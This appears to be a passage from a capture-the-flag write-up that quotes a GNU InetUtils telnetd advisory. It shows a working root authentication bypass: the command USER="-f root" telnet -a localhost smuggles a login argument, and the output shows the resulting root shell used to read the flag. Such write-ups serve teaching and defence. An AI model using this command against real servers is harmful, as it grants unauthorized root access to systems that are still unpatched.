That’s very straight forward! This first came to light on a seclist.org post, which opens with:

If you are tired of modern age vulnerabilities, and remember the good old times on bugtraq, I hope you will appreciate this one. If someone can allocated a CVE, we will add it in future release notes.

/Simon

GNU InetUtils Security Advisory: remote authentication by-pass in telnetd

The telnetd server invokes /usr/bin/login (normally running as root) passing the value of the USER environment variable received from the client as the last parameter.

If the client supply a carefully crafted USER environment value being the string “-f root”, and passes the telnet(1) -a or –login parameter to send this USER environment to the server, the client will be automatically logged in as root bypassing normal authentication processes.

This happens because the telnetd server do not sanitize the USER environment variable before passing it on to login(1), and login(1) uses the -f parameter to by-pass normal authentication.

Severity: High

Vulnerable versions: GNU InetUtils since version 1.9.3 up to and including version 2.7.

This vulnerability was added to CISA KEV on 26 January 2026. GreyNoise has a nice post showing exploitation ramping up on the internet immediately after this become public.

Exploit

Exploiting this is very simple. I’ll set the USER environment variable to -f root and then use telnet to connect to localhost:

www-data@orion:~$ USER="-f root" telnet -a localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.

Linux 5.15.0-177-generic (orion) (pts/0)

Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-177-generic x86_64)
...[snip]...
root@orion:~#

From here I can grab root.txt:

root@orion:~# cat root.txt
ee96ec82************************